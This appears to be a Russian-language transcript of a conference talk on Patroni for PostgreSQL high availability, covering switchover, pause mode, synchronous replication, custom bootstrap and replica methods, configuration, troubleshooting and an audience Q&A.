И теперь самое интересное. У нас есть возможность переключиться по расписанию. Т. е. мы можем сказать, что переключиться нужно не сейчас, а через некоторое время. Это было сделано для того, чтобы можно было обновить, например, все реплики на новую версию Postgres. А после этого где-нибудь в 4 часа ночи сказать – сделайте нам switchover, чтобы нам не просыпаться и не делать это вручную, а доверить эту задачу Patroni. Мы это много раз делали на AWS. И мы очень рады, что у нас такая возможность есть, потому что это позволяет нам спать спокойно ночью, а не заниматься поддержкой кластера.
Да, переключение 150 кластеров за одну ночь – это не самое приятное занятие. Но с Patroni мы спим спокойно.
Давайте я скажу «сейчас», чтобы показать, как он работает. И Patronictl показывает последнее подтверждение. Он спрашивает – действительно ли я это хочу? Вот у нас есть реплика postgresql0 и вот у нас есть мастер postresql1. Он спрашивает: «Сейчас?». Мы говорим, что да. И смотрим, что произойдет.
Сейчас мы сделаем `patronictl list batman`. И на данный момент у нас лидер поменялся. Т. е. когда он сказал «switchover», он сказал «Successfully failed over to "postgresql0"», т. е. успешно переключились на postgresql0. И вы можете увидеть, что postgresql0 – это лидер. А предыдущий мастер был остановлен. Т. е. мы его остановили, потом перевели его в режим real only. Он соединился и после этого стал следовать текущему мастеру.
И вы можете увидеть, что через некоторое время состояние stopped поменялось на состояние running. И сейчас он запущен и работает.
Мы можем посмотреть это на примере логов в Patroni. Что в данном случае произошло? Давайте возьмем реплику. У реплики не было lock’а. Мастер остановился и удалил ключ лидера. Это важно, потому что в данном случаи у нас не будет ситуации, когда у нас одновременно два мастера работают.
После этого реплика нашла, что ключа лидера нет. Сделала promote себя. И после этого продолжила работать как мастер. А мастер, соответственно, в какой-то момент сказал, что он получил запрос на то, чтобы сделать switchover с параметрами. Т. е. он подтвердил, что он лидер. Мы указываем лидера в switchover, потому что вы можете сделать switchover, а потом лидер поменяется. И тогда мы switchover делать не будем, потому что состояние кластера уже изменилось.
И мастер здесь спросил у реплики ее состояние, чтобы убедиться в том, что у нас есть реплика и в том, что она в состоянии стать новым мастером. Он убедился, что реплика действительно работает, что с ней все нормально и она может стать мастером. И после этого остановился и отдал ключ лидера. Вот manual failover: demoting myself.
Там даже два запроса производилось. В первую очередь Patroni API или Patronictl делал такой запрос. И после уже сам switchover происходил внутри цикла High Availability, т. е. Patroni потом еще раз убедился перед тем, как сделать demoting, в том, что у нас есть реплика и она готова. Т. е. двойная защита. Потому если мы делаем отложенный switchover, то вначале не имеет смысла убеждаться в том, что там есть реплика, которая готова стать новым мастером. Но в 4 часа ночи Patroni перед тем, как остановиться, все-таки убедится, что у нас есть реплика, которая готова для данного действия.
И вы видите, что мастер сделал demoting. После этого остановился, после этого стартанул. Здесь он посмотрел – нужно ли ему сделать pg\_rewind. Он решил не делать pg\_rewind потому что у нас был clean shutdown.
Что мы можем еще сделать здесь? Я не буду это показывать вживую. Я просто покажу на слайдах. Мы можем указать время, когда мы хотим сделать switchover. В данном случае указали его с точностью до минуты. И после этого вместо того, чтобы прямо сейчас сделать switchover, Patroni его внесет в свое расписание. И после этого, когда наступит искомое время, Patroni сделает switchover. А до этого момента Patronictl вам покажет, что есть switchover, который запланирован на вот такую-то дату для этого узла. Этот узел будет мастером. И дальше, когда эта дата наступит, он выберет реплику и сделает switchover.
Также у нас есть возможность перезагрузить узел Postgres. Зачем нам это нужно? Вы можете перезагрузить узел с помощью `pg_ctl –d data directory restart`.
У этого способа есть один недостаток. Если этот узел – мастер, то он может потерять ключ мастера и сделать promote. Я думаю, что это не то, что вы хотели, когда вы хотели перезагрузить Postgres.
Самая частая причина для чего нужно перезагружать Postgres – это либо изменить параметр, который требует перезагрузки, либо поставить новую версию Postgres.
Т. е. таким способом мы можем это сделать, не теряя ключ лидера, а просто сказать «restart». В restart’е можно указать конкретный узел. Он сделает перезагрузку этого узла. В restart’е также можно указать, что нужно перезагрузить все узлы, тогда он перезагрузит все узлы.
И также у нас есть возможность сделать scheduled restart. Это очень полезно, если вы обновили Postgres и хотите, чтобы эти изменения применились не в то время, когда у вас пиковая нагрузка, а в тот момент, когда у вас почти нет клиентов. Он работает так же, как scheduled failover. По сути, вы говорите, что хотите сделать restart в такое-то время. И после этого Patroni в это время делает restart. И если вы сделаете patronictl list, то он вам также укажет, что запланирована перезагрузка кластера.
Здесь есть вывод того, что Patroni вам показывает. По сути, это похоже на Patronictl failover, т. е. пока restart не произойдет, он вам будет говорит, что ждем рестарта. И будет говорить, когда этот restart произойдет. И когда restart произойдет, он напишет вам, что есть restart, который был запланирован. И после того, как restart произойдет, мы видим, что Patroni, который раньше был мастером, он продолжает быть мастером. Он не потерял lock и это главная причина, почему мы можем делать restart.
Но если вы решите схитрить и все-таки зарестартить Postgres вручную с помощью `pg_ctrl`, то Patroni это заметит. И в следующий раз больше рестартить не будет.
Кто из вас читал статью в GitLab о разборе полетов после того, как в GitLab произошла большая проблема с базами данных?
Есть ссылка на статью, если будете потом смотреть на слайды. Это хорошее чтение для того, чтобы понять, что может пойти не так в большой организации с не нулевым бардаком с точки зрения инфраструктуры.
Идея была такая, что у них начала запаздывать реплика. Они решили ее переинициализировать. Pg\_basebackup у них не отработал до конца из-за каких-то проблем. Они решили дата-директорию удалить. И по ошибке удалили дата-директорию на мастере. И все, game over. Поэтому, мы считаем, что удаление даты-директории вручную на реплике – это не очень хороший способ, чтобы эту реплику реинициализировать, потому что можно ошибиться.
Поэтому в Patroni есть команда «reinit», которая позволяет вам реинициализировать узел, который вы указали. Т. е. мы говорим «reinit», а также название кластера, имя узла. Patroni попросит подтверждение о том, действительно ли вы хотите реинициализировать узел. Вы скажете, что да. Он этот узел реинициализирует. И когда он будет его реинициализировать, статус Postgres, что Postgres работает, поменяется на статус, который будет говорить о создании реплики до того момента, пока реплика не создастся. А после этого он снова будет running.
Что будет, если вы скажете «patronictl reinit cluster» и укажете имя узла мастера? Reinit просто откажется работать. Reinit скажет, что мы не можем реинициализировать мастер и если вы действительно хотите реинициализировать Postgres на этом узле, то вам сначала нужно сделать switchover куда-нибудь еще, а потом уже реинициализировать этот узел как реплику. По понятным причинам мы не хотим случайно затереть наш мастер.
И есть режим паузы. Для чего мы этот режим изначально придумали? У нас есть Patroni, который управляет postgres-кластером. Делает автоматический failover. И стартует узлы, которые были остановлены по каким-то причинам.
В некоторых случаях мы этого не хотим. В некоторых случаях мы не хотим, чтобы Patroni делал автоматический failover, потому что мы что-то делаем с нашим postgres-кластером, например, выполняем какие-то ручные операции. Мы знаем, что это – мы и мы не хотим, чтобы Patroni вмешивался. Мы говорим ему, чтобы он убрал руки от нашего кластера.
И этот режим называет режим паузы. Этот режим включается также в Patronictl имя кластера. И этот режим глобальный для всего кластера. Т. е. и мастер, и реплики перейдут в этот режим. Они перейдут не сразу, а тогда, когда увидят ключ паузы в etcd через некоторое время. Это время пропорционально loop\_wait.
При этом не будет происходить автоматический failover. Если у вас мастер станет недоступным, то так кластер и будет продолжать работать, т. е. он не выберет какой-нибудь из узлов в качестве нового мастера и не сделает ему promote.
Полезная функция этого режима – это если у вас недоступен etcd, потому что вы etcd потушили для апгрейда или еще для чего-то. Кластер продолжит работать так же, как и работал.
Но самое главное – включить режим паузы до того, как вы делаете что-то с etcd.
Вы включается сначала режим паузы. Кластер переходит в режим паузы. После этого вы тушите etcd. Ваш кластер не уходит в read-only режим и не начинает показывать тысячу сообщений об ошибках, о том, что etcd не доступен. Вместо этого он продолжает работать так, как и работал, пока режим паузы у вас сохраняется.
В нормальной ситуации, если вы останавливаете Patroni, то Patroni останавливает Postgres, чтобы не было такого, что вы остановили Patroni и после этого сделали promote вашей реплики и у вас включился multi-мастер. В режиме паузы Patroni этого делать не будет.
В режиме паузы, если вы остановите Patroni, то postgres-кластер продолжит работать как ни в чем не бывало.
Также если вы остановите Postgres и Patroni будет в режиме паузы, то Patroni не попытается его запустить. В нормальном режиме он попытается это сделать. Он подумает, что что-то случилось с Postgres, надо это исправить, надо его запустить. В режиме паузы вы можете остановить Postgres, сделать что-то с ним, что вы хотите сделать. И после этого запустить Postgres обратно. Patroni не будет вмешиваться.
Однако, если у нас работает мастер и работают реплики, то мастер будет продолжать обновлять свой ключ лидера в etcd, если etcd, конечно, доступен.
Кроме того, вы в этом режиме все равно можете создавать новые реплики. Т. е. если вы подключите новый узел к этому кластеру, то этот узел в режиме паузы и будет инициализирован, и получит basebackup с мастера.
И также в этом режиме вы можете делать ручной failover. Т. е. если вы явно скажете, что я хочу, чтобы этот узел стал мастером, то Patroni это учтет и поменяет роль мастера на тот узел, который вы скажете. Т. е. switchover работает, если мастер умрет, работать в этом режиме не будет.
Вот такой у нас режим. Он включает командой «pause». Есть ключ b, который не возвратит вам управление, пока режим паузы не будет включен на всех узлах. По умолчанию он просто скажет, что он учел, что вы хотите режим паузы. И режим паузы будет включен через какой-то интервал. В режиме wait он будет ждать, пока он не включен. И в этом режиме, когда вы говорите «list» для кластера, когда вы говорите «покажите нам все узлы», он также укажет, что режим паузы включен.
И в логе Patroni каждый узел будет сообщать о том, что помимо того, что он лидер или реплика, также включен режим паузы.
Вот такой режим для различных операций с кластерами. И если вы хотите, чтобы Patroni ничего не делал, то поставьте режим паузы.
В режиме паузы можно сделать promote одному из узлов, который является репликой. Т. е. у вас есть кластер с мастером и у вас есть реплика в этом кластере. Вы приходите вручную к реплике, соединяетесь с ней и говорите этой реплике «pg\_ctl posgresql1 promote».
И что получается? Patroni вам никаким образом не препятствует. Он не меняет состояние этого кластера. У вас в кластере становятся два мастера. Естественно, это не multi-мастер, они между собой общаться не могут. И у вас становится split-brain. Но этот split-brain вы сами сделали. Поэтому Patroni в этом не виноват. Вы сами выставили режим паузы и после этого сделали promote.
Что интересно в этом случае? Patroni вам скажет, что он продолжает работать как мастер, но lock’а у него нет. Т. е. у него нет индикации в etcd о том, что он мастер, потому что в etcd есть ключ лидера, который указывает на другого мастера. А он мастер, потому что мы его запромоутили, но он работает как мастер без lock’а.
И если вы пойдете на такой мастер без lock’а, который вы сами запромоутили и спросите у него через REST API о том, мастер он или нет, то он даст ответ статусом 503. А нормальный мастер с lock’ом даст ответ 200. Почему 503? Если вы посылаете клиентов на мастер и даже если вы запромоутите один из узлов вручную, все равно клиенты пойдут на настоящий мастер, если вы используете REST API для этого. Фейковый мастер не будет сообщать о себе через REST API как о мастере, он будет показывать статус 503. И, кстати, для реплики, наверное, тоже будет говорить 503. И на него, скорее всего, вообще никто не может прийти.
Что произойдет, когда мы сделали split-brain мастера, у которого нет lock’а, а потом выключили в кластере режим паузы? Вот этот мастер сразу получит immediate shutdown, т. е. Patroni сразу скажет, что мы не можем быть мастером, у нас уже есть мастер. Сделает immediate shutdown. Postgres после этого остановится. И когда он запустится, Patroni попробует сделать pg\_rewind для того, чтобы этот мастер, который вы сделали, смог снова присоединиться к кластеру.
В нашей ситуации он смог сделать pg\_rewind. И после этого стартовал как standby, как secondary. И после этого присоединился к кластеру как ни в чем не было. Т. е. Patroni починил проблему split-brain, который мы сами сделали.
Есть еще поддержка синхронной репликации. И она работает в двух режимах. И в конфигурации Patroni вам нужно указать режим синхронной репликации. Это true или false.
Этот параметр применится для всего кластера. И что произойдет? Patroni найдет реплику, которая хороша для синхронной репликации, которая не отстает. И добавит на мастере параметр «synchronous standby name». Это параметр Postgres. И он добавит эту реплику в synchronous standby name, т. е. он сделает обычную синхронную репликацию.
Но кроме этого Patroni не будет делать failover ни на какую реплику, кроме синхронной. Раз вы сказали, что вы хотите синхронную реплику для того, чтобы она была постоянной и имела те же самые данные, что и мастер, то Patroni вам не даст сделать failover на какую-нибудь другую реплику, кроме синхронной.
Что в данном случае еще важно? Предложим, что у вас синхронной реплики нет. Она каким-то образом исчезла, она упала, с ней что-то случилось. Что в этом случае сделает Patroni? В этом случае Patroni предпочтет доступность над возможностью принимать запись от клиента. И выключит синхронный режим. И у вас будет мастер и асинхронные реплики.
Либо реплики, которые не могут быть синхронными, потому что кто-то их пометил nosync, либо у вас остался только мастер и для того, чтобы не терять возможность записи, Patroni переведет в обычный не синхронный режим.
В некоторых случаях мы этого не хотим. Мы поставили синхронный режим. И мы рассчитываем, что у нас всегда должно быть две копии данных. Т. е. если у нас синхронная реплика исчезает, то правило, что у нас есть две копии данных, может не соблюдаться.
И в этом случае, если нам всегда нужно, чтобы всегда была синхронная реплика, то если синхронной реплики нет, то мы не принимаем записи на мастер. В этом случае Patroni может вам помочь. Вы можете поставить режим synchronous\_mode\_strict, т. е. строгий режим синхронной репликации.
Он работает так же, как и обычный синхронный режим за одним исключением. Если у вас синхронная реплика исчезает, то синхронный режим остается, и мастер перестает принимать соединения до момента, когда у вас синхронная реплика появится снова.
Однако есть возможность выключить синхронный режим для каждого запроса. Немногие об этом знают, но в Postgres есть замечательная функция, которая есть не во всех базах данных. **Для каждой транзакции вы можете сказать – хотите ли вы ее передавать синхронно или хотите ее сделать асинхронной.** Т. е. даже если у вас сконфигурирована синхронная реплика, вы можете сделать транзакцию асинхронной. И тогда она не будет ждать, пока транзакция передастся на реплику и от реплики придет ответ.
Это делается с помощью параметра «synchronous commit», который вы можете указать прямо в транзакции, т. е. `setting synchronous_commit to local`, т. е. сделать его локальным на мастере. И в этом случае он не будет ждать, пока данные не передадутся на реплику. И даже если вы установили строгий синхронный режим, то в этом случае вы потенциально можете транзакцию потерять, если во время этой транзакции все упадет. Но это уже ваш личный выбор.
Поддерживаем ли мы более, чем одну синхронную реплику? Нет, мы пока не поддерживаем. У нас есть обсуждение на GitHub, вы можете присоединиться к нему. Мы вместе решим, как осуществлять поддержку более одной синхронной реплики. И, скорее всего, Quorum мы начнем поддерживать, начиная с 10-ки.
Я хочу показать, как это включается. Еще раз повторю команду. Т. е. я редактирую конфигурацию кластера. И после этого говорю – включить синхронный режим. Пишу здесь `synchronous_mode: true`. До этого он стоял в false по умолчанию. И говорю – применить эти изменения.
И давайте посмотрим, что случится в этом случае. У нас есть лидер, у которого есть lock. У нас есть реплика. И как только эти изменения применились, он нашел реплику. У нас единственная реплика, которая не отстает, поэтому очень логично, что он сделал эту реплику синхронной. И Patroni показывает, что параметр «synchronous\_standby\_names». Это тот самый параметр в Postgres, который позволяет вам задать реплики, был установлен в postgresql1. И Postgres говорит, что postgresql1 является сейчас синхронным standby.
На реплике у нас ничего не поменялось. Но мы можем посмотреть на patronictl list. И в данном случае у нас будет кластер лидер, как и раньше. А эта реплика будет synchronous standby. И таким образом мы можем увидеть, что в кластере есть синхронные реплики.
И в добавок к этому у нас есть специальный endpoint, который возвращает 200 только тогда, когда вы обращаетесь к синхронной реплике. Давайте попробуем это сделать. Вот видите, этот endpoint нам возвратил 200. Зачем это нужно? У ваших клиентов может быть необходимость читать данные сразу после того, как данные были изменены. Т. е. вы запустили апдейт. И вы после этого запустили select на ту же страничку. И вы хотите, чтобы этот select возвратил уже данные, которые были обновлены.
Если бы не было этого endpoint, то вы могли попасть на какую-нибудь другую реплику, у которые эти данные еще не пришли, потому что репликация асинхронная. В нашем случае мы можем использовать этот endpoint для того, чтобы прийти на синхронную реплику и быть уверенным, что вы получаете самые свежие данные.
У нас есть еще async endpoint, который возвращает 200 только, если реплика является асинхронной. В данном случае мы сделали async на синхронную реплику. И, понятное дело, что он нам возвратил 503, потому что реплика не синхронная.
Давайте ее выключим таким же самым образом. Мы можем сказать `synchronous_mode: false`. И можем убрать его из конфигурации. В данном случае пройдет некоторое время, и мастер выключит синхронный режим. И если мы сейчас сделаем list, то мы увидим, что реплика стала асинхронной. Если мы попробуем к async endpoint, то он возвратит 200. Если мы обратимся к sync endpoint, то он возвратит 503. Т. е. мы доказали, что реплика асинхронная.
Дальше Саша вам расскажет, как можно расширить функциональность Patroni.
Тут есть вопрос: «Что произойдет, если перезагрузить синхронный standby?». Например, есть один мастер и одна реплика, которая является синхронной. У нас есть два режима: один synchronous\_mode, а другой synchronous\_mode\_strict. Strict запретит любые транзакции на мастере, если у нас нет реплики вообще. А обычный синхронный режим, если у нас реплики нет, то он отключит вот этот синхронный режим. И мастер будет применять все транзакции, т. е. это то, что вам надо. После того, как вы обратно включите реплику и в тот момент, когда она догонит мастера, Patroni ее сделает синхронной автоматически.
Patroni нам позволяет делать очень интересные вещи. Он позволяет кастомизировать очень много разных вещей таких, как создание новых реплик или создание новых кластеров, или позволит выполнить какие-то действия после того, как мы создали новый кластер. Для чего все это надо?
К примеру, мы хотим создавать новые реплики, не используя basebackup, а используя <https://github.com/wal-e/wal-e> (или [wal-g](https://github.com/wal-g/wal-g)). Потому что у нас есть всего один мастер, у нас есть бэкап, который где-то лежит, сделанный с помощью wal-e.
**И мы хотим создать новую реплику, не нагружая мастер.** В принципе, Patroni позволяет описать конфигурацию и указать какие-то скрипты, которые Patroni должен выполнить для того, чтобы инициализировать реплику из какого-то внешнего источника. В данном случае мы описываем create\_replica\_method. Это список.
Соответственно, Patroni попробует выполнить несколько методов из этого списка в том порядке, как они описаны. Первым в списке у нас идет wal\_e. И для wal\_e у нас есть своя конфигурация. В конфигурации мы обязаны написать команду, которую мы должны выполнить, и мы можем передать некоторые параметры. Эти параметры, которые описаны в yml, они будут сконвертированы особым образом в аргументы командной строки.
Как это все происходит? Некоторые параметры имеют двойное значение. Например, у нас есть такой параметр, как `no_master`. Это означает, что данный метод создания реплики будет работать даже, если у нас мастера нет.
Для чего это надо? Может произойти какая-то внештатная ситуация, когда у вас кластер полностью недоступен. Вы потеряли все машины. У вас есть бэкап и вы хотите восстановить все из бэкапа. Для этого достаточно запустить Patroni. Patroni выполнит команду, которая возьмет этот бэкап и развернет новый кластер.
Я уточню, что речь идет о физическом бэкапе. Это wal-сегменты и basebackup, это не pg\_dump.
Это не логический бэкап. Логический бэкап в общем случае – это не бэкап. Это снапшот данных в определенный момент времени. И вот каким образом все это конвертируется в команду. Т. е. у нас есть wale\_restore. Соответственно, Patroni начинает строить эту команду. Это wale\_restrore. Он передаст ему имя кластера, передаст дату директорию, куда мы должны положить наши файлы. передаст зачем-то роль, хотя большого смысла в этом нет. Передаст connstring, по которому он может достучаться до мастера. Для чего это надо? Вы можете обратиться к мастеру и понять, как ситуация изменилась и посчитать, например, сколько WAL было нагенерировано. Если там нагенерировано терабайт логов, то может быть восстановление с помощью такого метода не самый эффективный и лучше сделать basebackup. Т. е., в принципе, вы можете все заскриптовать.
И вот он передает `no_master`. Envdir — это директория, которая содержит некоторые конфигурационные параметры для wal\_e. Например, retries. Сам скрипт обязан обрабатывать большинство из этих параметров.
И, соответственно, если при исполнении команды у нас код возврата 0, значит команда была исполнена успешно, и мы можем попробовать стартовать этот кластер. Если команда была не успешной, то Patroni попробует следующую команду в списке. Если следующей команды нет, то он ничего пробовать не будет. Но на следующей итерации он сделает еще попытку.
По умолчанию, когда мы создаем абсолютно новый кластер, Patroni его инициализирует с помощью initdb.
Но может возникнуть ситуация, когда вы хотите сделать полный клон какого-то существующего кластера. Вот у вас есть кластер в production и вы хотите попробовать накатить какие-то изменения. Вы хотите его просто склонировать как есть.
Для этого мы поддерживаем метод custom bootstrap. Он работает примерно так же, как custom replica, как create method, т. е. вы описываете метод и описываете какие-то параметры для этого метода. Т. е. обязательно надо писать command. В данном случае – это склонировать кластер s3.
В этом примере мы будем делать [point in time recovery](https://www.postgresql.org/docs/current/continuous-archiving.html). Т. е. мы знаем, что у нас здесь произошел какой-то несчастный случай. И какие-то данные были удалены. И мы знаем, когда это случилось. Соответственно, мы описываем такую команду, которая возьмет из s3 какой-то бэкап, который попадает в данный recovery target timeline.
После того, как у нас бэкап был развернут из s3, Patroni создаст recovery.conf с некоторыми параметрами. Мы говорим, что, пожалуйста, возьми последний актуальный timeline и сделай promote в тот момент, когда ты достигнешь данный recovery target timeline, но сделай promote за миллисекунду и микросекунду, т. е. не включая именно этот target timeline, т. е. чуть-чуть раньше.
И после того, как все удалось, Patroni запустит Postgres. Postgres начнет устанавливать wal’ы из какого-то внешнего хранилища, из s3 в данном случае. И в какой-то момент произойдет promote. После этого Patroni запустит post\_bootstrap script. Для чего это надо? В этом скрипте вы можете создать каких-то пользователей, какие-то служебные таблицы. Это все конфигурировано, вы сами должны знать, что вам нужно.
С initdb происходит примерно то же самое. Т. е. мы имеем возможность задать какие-то параметры для initdb. Например, выключить trust аутентификацию, которая по умолчанию включена для localhost.
Но это все происходит только после того, как один из instance Patroni взял ключ инициализации. Т. е. вот этот bootstrap будет происходить исключительно на одной ноде. Это примерно такая же ситуация, как с лидером. Но если у нас какой-то из шагов bootstrap оказался неуспешным, то Patroni удалит initialize ключ и даст другим нодам шанс попытаться. Если других нод нет, то он сам будет пытаться дальше.
Вот пример, как мы можем post\_bootstrap использовать. Например, мы создадим pg\_stat\_statements extension внутри базы данных temlate1. Для чего это надо? Пользователь дальше создаст какую-то другую база и у него там сразу будет pg\_stat\_statements. Это достаточно удобно. Потому что просто так extension создавать нельзя, это может делать только superuser, а обычным пользователям не стоит давать роль superuser’а. В данном случае мы решили проблему одним махом.
Давайте посмотрим на конфигурационный файл Patroni. Тут есть несколько секций. Во-первых, мы должны описать, что у нас за кластер, т. е. во всех нодах, которые относятся к данному кластеру `scope` должен совпадать. Мы тут используем batman.
`Namespace` – этот параметр говорит о том, что где внутри etcd мы будем держать информацию о нашем кластере. По умолчанию – это сервис, но вы можете переопределить. Вы можете использовать Patroni, вы можете использовать еще что-то. Но самое важное, чтобы namespace совпадал среди всех узлов у данного кластера.
Дальше мы можем каким-то образом сконфигурировать `REST API` в Patroni на данной конкретной ноде. А также указать каким образом Patroni будет общаться с etcd, как мы будем делать bootstrap, какие мы хотим конфигурационные параметры применить Postgres, `watchdog` и `tags`.
С restapi все просто, мы говорим на каком API мы будем слушать и каким образом другие ноды к нам могут обратиться. Опционально вы можете включить SSL и можете включить authentication.
Поскольку мы поддерживаем разные DCS такие, как [etcd](https://github.com/etcd-io/etcd), [Consul](https://github.com/hashicorp/consul), то тоже самое. Вы должны описать хост, вы должны описать, какой протокол использовать. Может быть, требуется авторизация, может быть, требуются какие-то сертификаты и ключи. Все это конфигурируемо.
С ZooKeeper такая же ситуация, только там нет авторизации, если я не ошибаюсь. Но для ZooKeeper обязаны перечислить все хосты в кластере. Exhibitor позволяет это немного упросить, но, как правило, люди его не очень часто используют.
На Bootstrap мы уже смотрели и уже о нем говорили. Соответственно, все, что написано в Bootstrap будет использовано всего один раз, когда мы создаем кластер.
На bootstrap\_method мы тоже уже смотрели.
Здесь два важных момента. Мы должны определить listen\_address и connect\_address. Listen\_address – это где Postgres будет слушать. И Connect\_address – это для того, чтобы в etcd опубликовать, как к нам можно обратиться. Это исключительно для реплик.
И второй важный момент – это authentication. Соответственно, Patroni при инициализации кластера создать superuser и создать пользователя для репликации. На репликах эти параметры должны быть абсолютно такими же, как и на мастере.
И плюс опционально вы можете какие-то конфигурационные параметры для Postgres здесь настроить.
Про callback и replica\_method тоже говорили.
Если вы работаете на железе, то очень важно его правильно настроить. Тут ручек, которые можно покрутить совсем немного. Есть такой параметр как `safety_margin`. Он говорит: «Пожалуйста, за 5 секунд до того, как у нас истечет ключ лидера, перезагрузи весь сервер». Т. е. это для того, чтобы обезопаситься от всего-всего.
И про tags мы уже говорили достаточно подробно.
Очень многие параметры можно сконфигурировать не только через yml-файл. Можно использовать environment. По ссылке все это подробно описано.
И есть возможность целиком конфигурационный файл передать через environment variables. Она называется Patroni configuration. Но при этом важно, что никакие другие environment variables просто не будет использованы. И даже, если вы где-то передадите config в командной строке, то он тоже будет игнорирован.
Про troubleshooting – это будет для вас как домашнее задание, видимо.
Мы можем быстренько пробежаться по нему, потому что о нем очень много всего. И это любимый раздел, потому что все эти ошибки я делаю сам.
Т. е. если у вас есть etcd, но etcd перестает быть доступной для какого-то узлов, то этот узел вам начнет выдавать ошибки о том, что он пытается общаться с etcd, но у него не получается. И после этого покажет вам сообщение о том, что он ждет, пока etcd не станет доступным. Это относится к другим системам тоже.
Вот это довольно частая проблема. Вы установили Debian. У вас пути до бинарных файлов postgres, pg\_ctl и других не находятся в переменной path. После этого вы запускаете Patroni. Patroni у вас отваливается именно с такой ошибкой. Он говорит `subprocess. call`, т. е. не возвратил успешный результат. И говорит, что нет файла `pg_ctl`. И, соответственно, никакого мастера после этого быть не может, потому что у вас нет бинарных файлов Postgres.
И есть достаточно простое решение. Нужно пойти в конфигурацию и прописать такой параметр, как `bindir`. Он должен указывать на путь, где ваши бинарные файлы находятся. Или альтернативно указать в переменной path путь, где находятся бинарные файлы Postgres.
Вот эту ошибку я уже показывал вживую, когда Patroni создает репликационные слоты для реплики. Он создает их не сразу, а когда он обнаруживает, что реплика появилась. Поэтому первые несколько секунд (до 10 секунд) показывается вот это сообщение, что нельзя стартовать репликацию, потому что слота нет. Это сообщение исчезнет само по себе.
Вы можете указать конфигурацию initdb внутри Patronictl.yml. В некоторых случаях люди указывали конфигурацию неправильно. Например, у нас есть параметр «data-checksums», который позволяет включить checksums, включить контрольные суммы на кластер, которые вы инициализируете. Этот параметр в самом initdb показывается, как `--data-checksums`. Не `--data-checksums: true`, а `- data-checksums`. Patroni, соответственно, требует его в таком же виде. И если вы укажете `- data-checksums: true`, то вы получите ошибку, которая говорит, что опция data-checksums не предусматривает аргументов. И initdb не сработает, и вам придется поменять конфигурацию Patroni перед тем, как продолжать работать с этим кластером.
И моя любимая ошибка. Yaml – называют форматом, который доступен для записи обычным людям. Т. е. обычные люди должны уметь писать yaml, так разрабатывался yaml. Но форматирование в yaml имеет значение, т. е. индентация в yaml так же, как и в Python, она значима. Если вы забудете указать пробел, то yaml вместо подчиненного списка решит, что это эти параметры находятся на одном и том же уровне.
В данном случае, что он попытался сделать? Он подумал, что это строка. Он попытался все это преобразовать в строку, разбил ее на отдельные символы. И получилась чепуха.
Поэтому, если вы видите что-то подобное, то валидируйте ваш yaml перед тем, как запускаете его в production.
Вот это интересная проблема. Когда вы в Debian или в Ubuntu ставите Postgres, он у вас по умолчанию делает initdb для кластера. И, по-моему, даже его запускает.
Что произойдет, если вы попытаетесь после этого этот узел, в котором произошел initdb, подключить к существующему кластеру как реплику? У нас есть мастер, есть initdb, который произошел независимо от того мастера. У каждого postgres-кластера есть такая штука как системный идентификатор, который одинаков на всех узлах мастера и реплики, и другой на других кластерах, которые сделаны с помощью initdb отдельно.
И когда вы пытаетесь в Patroni подключить такой кластер, то Patroni вам скажет «критическая ошибка». Системный идентификатор текущего узла, который инициализировал этот кластер, не совпадает с системным идентификатором той реплики, которую вы попытались подключить. Поэтому эта реплика подключиться не сможет. И я не могу продолжать. Это сделано специально для того, чтобы вы не потеряли данные, попытавшись подключить совершенно не относящиеся к этому кластеру узел. И потом увидев, что он не подключился, не сделали reinit этому узлу и не потеряли данные.
И решение такое. Если это Debian, если у вас уже есть дата-директория, то вам нужно дата-директорию удалить и подключить ее как реплику.
Есть полезные ссылки.
Есть [Patroni](https://github.com/zalando/patroni). Он находится на [GitHub](https://github.com/zalando/patroni). Это open source проект. Вы можете прийти и открыть issue. Или прийти туда и посмотреть на другие issue. Или просто прийти туда, скопировать и запустить его.
Есть документация о Patroni. Она находится по отдельному адресу: <https://patroni.readthedocs.io>. Это документация поддерживает поиск. Если вы ищите какой-то параметр, вы можете найти. Там подробно описываются все параметры. Подробно описывается, как работает Patroni в разных режимах. В том числе описана синхронная репликация. Описано, как работает Kubernetes, о котором мы сегодня не говорили, потому что у нас не хватило для этого времени.
И есть docker-образ, который включает в себя Postgres и Patroni и многое другое. Он называется [Spilo](https://github.com/zalando/spilo). Он также находится на GitHub в open source, и мы его используем внутри Zalando для того, чтобы запускать Postgres. И вы его можете использовать для той же самой цели.
Вопросы:
(*Сами вопросы не в микрофон, их не слышно*)
Вопрос: Как вы запускаете patroni в kubernetes?
Ответ: В Kubernetes мы запускаем Patroni в Spilo. И управляем с помощью postgres-оператора. Это отдельный open source проект.
Вопрос: Будет ли поддержка OpenShift?
Ответ: Хороший вопрос. Надеемся, что да, потому что Red Hat в этом тоже заинтересован. У нас нет OpenShift, поэтому поддержкой OpenShift занимаются люди, которые в этом заинтересованы, в частности Red Hat. Я думаю, что будет.
Вопрос: Уже есть мастер, есть standby. И можно ли подцепить Patroni к существующему standby, не переинициализируя его?
Ответ: Да, это возможно. В первую очередь, вы должны запустить Patroni на мастере, чтобы ничего не предвиденного не произошло. И уже только потом запустить его на хосте, где работает standby. Но это операция не очень хорошо документированная. И прежде чем выполнять на production, вы лучше потренируйтесь где-нибудь, например, на laptop’е, например.
Но, в принципе, мы это проделывали. У нас именно такая ситуация. В классическом дата-центре у нас есть мастер, у нас есть standby. Мы сначала запустили Patroni на хосте, где у нас мастер. Он записал все, что нужно в ZooKeeper в нашем случае. Потом мы запустили Patroni на реплике. Соответственно, Patroni понял, что у нас есть мастер. И весь этот кластер стал работать под управлением Patroni. Никакой переинициализации делать не пришлось.
Вопрос: Можно ли сделать bootstrap не в S3, а из локальных файлов?
Ответ: Для этого вы можете использовать не wal-e, а что-нибудь другое. Т. е. это все кастомизируется. Вы можете написать любые скрипты, которые будут выполнять бэкапы.
Если ваш вопрос был о том, можете ли вы использовать S3 не из Amazon, а из локальной машины, то – да, вы можете это сделать тоже. Вы можете бэкапиться на S3, даже не находясь в Amazon, если в этом есть смысл.
Вопрос: Если вы Postgres запускаете не с помощью pg\_ctl, а с помощью какой-то своей специальной команды?
Ответ: Patroni управляет Postgres на данном конкретном узле. Соответственно, для каждого узла Patroni запускает Postgres. Вы не можете взять и сделать так, чтобы Patroni запустил несколько Postgres’ов, т. е. один Patroni на разных узлах.
Вопрос: «Кастамизируется ли строка запуска Postgres в Patroni?».
Ответ: Нет, она не кастомизируется. Но зачем?
Вопрос: Как через Patroni запустить Postgres на определенных процессорах?
